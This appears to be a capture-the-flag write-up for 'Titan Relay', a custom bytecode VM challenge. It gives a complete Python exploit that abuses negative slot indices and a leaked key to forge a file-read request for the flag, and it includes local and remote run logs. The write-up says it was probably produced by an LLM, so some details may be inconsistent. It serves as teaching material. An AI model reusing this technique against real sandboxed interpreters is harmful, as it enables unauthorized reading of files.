Neven Marić
Hidden Investigations CTF 2026

PwnHidden Investigations CTF 2026

Titan Relay

Titan Relay accepts encoded bytecode capsules and executes them in a custom VM. Its store instruction accepts negative slot indices, allowing a capsule to overwrite authorization fields immediately before the VM's ordinary slot array.

  • pwn
  • vm
  • binary-exploitation
  • negative-index
  • rust
  • wine
  • custom-bytecode

What this one teaches

  • Bounded intra-object writes are exploitable when they reach authorization state — no arbitrary write or native code execution needed.
  • Metadata disclosure instructions that leak key material let you forge valid authorization values entirely inside the VM, without any second-stage interaction.
  • Wine's default Z: drive exposes the Linux root filesystem, so Z:\flag.txt reaches /flag.txt inside a container.

Task description

A relay console is open to operators. Recover the flag.

Field Value
Event Hidden Investigations CTF 2026
Category pwn
Author 0xblackfox
Target Rust Windows x64 executable running under Wine
Technique VM negative-index write, metadata disclosure, forged file-read request

Provided Environment

The archive contains:

titan_relay.exe
Dockerfile
docker-compose.yml
run_titan.sh
flag.txt

The Dockerfile installs Wine and socat on Ubuntu 24.04, places the executable in /app, and copies the flag to /flag.txt. The service runs as the unprivileged ctf user. The local container exposes TCP port 7260; the supplied remote instance exposes the console through TLS on port 1337.

The executable is a Windows x64 PE with preferred image base 0x140000000. Relevant reverse-engineered locations are below. Names such as request_handler are descriptive labels, not recovered source symbols.

Location Preferred VA RVA
Application main 0x140002610 0x2610
File-read request handler 0x1400018c0 0x18c0
Negative-index store handler 0x140003a49 0x3a49
Dispatch validation 0x140003b26 0x3b26
Per-capsule key global 0x140048040 0x48040

These addresses explain the binary; none is hardcoded into the exploit.

Capsule Protocol

The console presents:

=== TITAN RELAY :: route consensus vm ===
1) load capsule
2) quit
Option >

Option 1 asks for a decimal capsule length and a hex string:

Capsule length >
Capsule hex >

The declared length must be between 1 and 512 bytes. After parsing the hexadecimal input, the program applies a position-dependent XOR before interpreting it:

bytecode[i] = wire[i] ^ ((0x71 + 0x3d * i) & 0xff)

XOR is its own inverse, so the payload encoder uses the same expression:

def encode(code):
    return bytes(b ^ ((0x71 + 0x3d * i) & 0xff)
                 for i, b in enumerate(code))

The VM has a separate limit of 512 executed instructions. [+] capsule accepted only confirms that the transport-level input was accepted; it does not mean dispatch or file-read authorization succeeded.

VM Memory Layout

Let B be the base of the VM’s 0xf8-byte allocation, M = B + 0x58 the slot-array base, and P = B + 0xd8 the metadata address. Let K be the per-capsule key and F the actual runtime address of the file-read handler.

Offset from B Size Contents
0x00 8 Key K
0x08 8 Route consensus field, initially zero
0x10 8 Expected-handler field, initially zero
0x18 64 Eight 64-bit registers, R0 through R7
0x58 128 Sixteen 64-bit slots, M[0] through M[15]
0xd8 8 Zero-extended low 32 bits of K
0xe0 8 Zero-extended high 32 bits of K
0xe8 8 K ^ F
0xf0 8 Zero

The important initialization is:

M[0] = P

Thus a normal slot load gives our program the metadata pointer. All other addresses needed by the exploit can be derived from that pointer.

Useful Instructions

Multibyte operands are little-endian. Register arithmetic wraps at 64 bits.

Opcode Operands Operation
0x11 dst:u8, value:u32 Load a zero-extended immediate
0x21 dst:u8, slot:u16 Load a 64-bit slot, if slot < 16
0x32 src:u8, slot:i16, lane:u8 Store the register’s low 32 bits into a slot half
0x42 dst:u8, src:u8 XOR registers
0x51 None Validate the route and dispatch using R6
0x71 dst:u8, src:u8, selector:u8 Read metadata entry 0, 1, or 2 if Rsrc == P
0x81 dst:u8, shift:u8 Shift left
0x82 dst:u8, shift:u8 Logical shift right
0x91 dst:u8, src:u8 OR registers
0xa3 dst:u8, value:i16 Add a sign-extended immediate
0xa4 dst:u8, src:u8 Add registers
0xb1 dst:u8, src:u8 Copy a register

Bug 1: Negative Slot Indices

The store instruction behaves like this reconstructed pseudocode:

int16_t slot = read_i16();
uint8_t lane = read_u8();

if (slot >= -10 && slot <= 15 && lane <= 1) {
    *(uint32_t *)(M + 8 * slot + 4 * lane) = (uint32_t)R[src];
}

The lower bound is -10, not zero. Consequently, the instruction reaches fields before the ordinary slot array:

Slot index Address Target
-10 B + 0x08 Route consensus
-9 B + 0x10 Expected-handler field
-8 through -1 B + 0x18 through B + 0x50 Registers R0 through R7

This is a bounded intra-object write, not an unrestricted arbitrary write. It cannot reach the original key at B + 0x00 or the metadata at B + 0xd8. However, it reaches exactly the two fields checked before dispatch.

Each store writes only 32 bits. We implement a 64-bit write using two stores and scratch register R7:

STORE src, slot, lane=0
MOV   R7, src
SHR   R7, 32
STORE R7, slot, lane=1

Bug 2: Recoverable Authorization Values

The metadata instruction requires a source register equal to P. That is not a meaningful restriction because M[0] already contains P.

We recover the values as follows:

R0 = M[0]                    # P
R1 = META(R0, 0)             # L = low32(K)
R2 = META(R0, 1)             # H = high32(K)
R3 = (R2 << 32) | R1         # K
R4 = META(R0, 2) ^ R3        # F = (K ^ F) ^ K

No disclosure needs to be printed to the client. The capsule uses these values internally, avoiding any second-stage interaction or dependence on a previous allocation.

Passing Dispatch

Opcode 0x51 checks:

if (vm->consensus != vm->key ||
    vm->expected_handler != request_handler ||
    vm->regs[6] == 0) {
    print("[!] route fault contained");
} else {
    request_handler((Request *)vm->regs[6]);
}

The expected-handler field is compared against the real handler address. It is not used as an arbitrary indirect-call target. Replacing it with a shellcode or ROP address would fail validation.

Instead, we use our negative-index stores to write:

M[-10] = K
M[-9]  = F

Then we point R6 at a request constructed inside the ordinary slots. This reuses the intended file-read functionality rather than taking control of the native instruction pointer.

Forging The File-Read Request

The request handler expects these fields:

struct Request {
    uint64_t key;           // +0x00
    uint8_t *encoded_path;  // +0x08
    uint32_t tag;           // +0x10
    uint32_t length;        // +0x14
    uint32_t checksum;      // +0x18
};

Using L = low32(K) and H = high32(K), the checks are:

request.key      == global_K
request.tag      == L ^ H
request.length   == 11
request.checksum == (L + (L ^ H)) mod 2^32
request.encoded_path != NULL

The handler reads 12 encoded bytes and XORs them with the repeating little-endian bytes of K:

decoded[i] = encoded[i] ^ ((K >> (8 * (i % 8))) & 0xff)

The first 11 decoded bytes must be non-NUL and valid UTF-8. Byte 11 must be NUL. There is no additional filename restriction, so we choose:

path = b"Z:\\flag.txt\x00"
assert len(path) == 12

Z:\flag.txt is exactly 11 bytes without the terminator. Wine’s default Z: drive exposes the Linux filesystem root, making this the Windows path to the container’s /flag.txt.

We place the request at M[1] and its encoded path at M[5]:

Slot Contents
M[1] Request key K
M[2] Pointer to M[5]
M[3], low half Tag L ^ H
M[3], high half Length 11
M[4], low half Checksum (L + (L ^ H)) mod 2^32
M[5] First eight encoded pathname bytes
M[6], low half Last four encoded pathname bytes

The pointers are calculated relative to the metadata pointer:

R6 = P - 0x78     # M + 8, request address
encoded_path = P - 0x58     # M + 0x28, pathname address

The first eight pathname bytes are assembled into a 64-bit register and XORed with K. The last four bytes are XORed with L. After storing the request and encoded path, a final 0x51 performs the file read and prints its contents.

Exploit

The bytecode builder assembles the full exploit capsule. It reads the metadata to recover the key and handler address, writes them into the authorization fields via negative-index stores, constructs a file-read request for Z:\flag.txt inside the slot array, and dispatches:

import struct

MASK = (1 << 64) - 1
PATH = b"Z:\\flag.txt\0"

def build():
    code = bytearray()

    def emit(op, *operands):
        code.extend((op, *operands))

    def imm(reg, value):
        code.extend(bytes((0x11, reg)) + struct.pack("<I", value))

    def store(reg, slot, lane):
        code.extend(bytes((0x32, reg)) + struct.pack("<hB", slot, lane))

    def store64(reg, slot):
        assert reg != 7
        store(reg, slot, 0)
        emit(0xB1, 7, reg)
        emit(0x82, 7, 32)
        store(7, slot, 1)

    def addi(reg, value):
        code.extend(bytes((0xA3, reg)) + struct.pack("<h", value))

    # R0 = P (metadata), R1 = key low32, R2 = key high32.
    code.extend(b"\x21\x00\x00\x00")
    emit(0x71, 1, 0, 0)
    emit(0x71, 2, 0, 1)
    emit(0xB1, 3, 2)
    emit(0x81, 3, 32)
    emit(0x91, 3, 1)
    # Write key to consensus field, handler to expected-handler field.
    store64(3, -10)
    emit(0x71, 4, 0, 2)
    emit(0x42, 4, 3)
    store64(4, -9)
    # Q = M + 8 = P - 0x78. R6 is the dispatch argument register.
    emit(0xB1, 6, 0)
    addi(6, -0x78)
    store64(3, 1)
    # Q->encoded_path = M + 0x28 = P - 0x58.
    emit(0xB1, 5, 0)
    addi(5, -0x58)
    store64(5, 2)
    # tag = low32(K) ^ high32(K); checksum = tag + low32(K).
    emit(0xB1, 5, 1)
    emit(0x42, 5, 2)
    store(5, 3, 0)
    emit(0xA4, 5, 1)
    store(5, 4, 0)
    imm(5, 11)
    store(5, 3, 1)
    # Twelve encoded path bytes, XORed with key.
    imm(5, int.from_bytes(PATH[:4], "little"))
    imm(7, int.from_bytes(PATH[4:8], "little"))
    emit(0x81, 7, 32)
    emit(0x91, 5, 7)
    emit(0x42, 5, 3)
    store64(5, 5)
    imm(5, int.from_bytes(PATH[8:12], "little"))
    emit(0x42, 5, 1)
    store(5, 6, 0)
    emit(0x51)
    assert 1 <= len(code) <= 512
    return bytes(code)

def encode(code):
    return bytes(byte ^ ((0x71 + 0x3D * i) & 255) for i, byte in enumerate(code))

The client connects over TCP (or TLS for the remote instance), sends the capsule, and extracts the flag from the handler’s output:

import re, socket, ssl, sys

def solve(host, port, tls=False, timeout=90):
    code = build()
    with socket.create_connection((host, port), timeout=timeout) as raw:
        conn = (ssl.create_default_context().wrap_socket(raw, server_hostname=host)
                if tls else raw)
        with conn:
            def until(marker):
                data = bytearray()
                while marker not in data:
                    chunk = conn.recv(4096)
                    if not chunk:
                        raise EOFError(f"Closed waiting for {marker!r}")
                    data.extend(chunk)
                sys.stdout.write(data.decode("utf-8", errors="replace"))
                sys.stdout.flush()
                return bytes(data)

            until(b"Option >")
            conn.sendall(b"1\n")
            until(b"Capsule length >")
            conn.sendall(f"{len(code)}\n".encode())
            until(b"Capsule hex >")
            conn.sendall(encode(code).hex().encode() + b"\n")
            result = until(b"Option >")
            conn.sendall(b"2\n")
    flag = re.search(rb"hiCTF\{[^}\r\n]+\}", result)
    if not flag:
        raise RuntimeError("Capsule did not return a flag")
    return flag.group().decode()

Local Verification

All commands below are relative to this challenge directory.

First, build and start the supplied environment:

docker compose -f files/titan-relay/docker-compose.yml up --build -d

Allow Wine’s initial prefix setup to finish, then run:

python solve.py 127.0.0.1 7260

Observed output:

=== TITAN RELAY :: route consensus vm ===
1) load capsule
2) quit
Option > Capsule length >
Capsule hex >
[+] capsule accepted
hiCTF{fake_flag_for_local_testing}
Option >
Recovered: hiCTF{fake_flag_for_local_testing}

This was execution against the actual supplied binary under Wine, not just the Python model.

The model was also tested independently:

python capsule_model.py --check
Model checks passed: 10002 cases, 188 bytes, 48 instructions, path=b'Z:\\flag.txt\x00'
These are synthetic model tests, not execution of the PE or Wine.

Those cases exercise varied synthetic keys, heap addresses, and handler addresses, including key edge cases. They check that the capsule builds a valid request without hardcoded runtime addresses; they do not replace execution against the real binary.

To print the complete input transcript without connecting:

python capsule_model.py

Remote Verification

After local success, the same capsule was sent to the supplied live endpoint:

ncat --ssl titan-relay-6ae1e6f7cf31.chall.hiddeninvestigations.net 1337

The automated equivalent is:

python solve.py titan-relay-6ae1e6f7cf31.chall.hiddeninvestigations.net 1337 --ssl

Observed output:

=== TITAN RELAY :: route consensus vm ===
1) load capsule
2) quit
Option > Capsule length >
Capsule hex >
[+] capsule accepted
hiCTF{ru5t_vm_g4te_and_h4ndler_ch41n_4f369633af}
Option >
Recovered: hiCTF{ru5t_vm_g4te_and_h4ndler_ch41n_4f369633af}

The user subsequently confirmed that the recovered flag was correct. The hostname records the instance used for this solve and may expire; use a fresh instance hostname for later reproduction.

The local container was stopped after testing:

docker compose -f files/titan-relay/docker-compose.yml stop

Takeaway

The trust boundary fails in two complementary ways: bytecode can write into its own authorization state, and metadata exposes the values needed to make that state valid. Neither native code execution nor unrestricted memory access is necessary. A bounded write plus a recoverable key is enough to invoke an existing privileged operation with an attacker-controlled request.

The flagRevealhiCTF{ru5t_vm_g4te_and_h4ndler_ch41n_4f369633af}

This CTF was possibly solved, and the writeup most likely written by an LLM. Apologies for inconsistencies.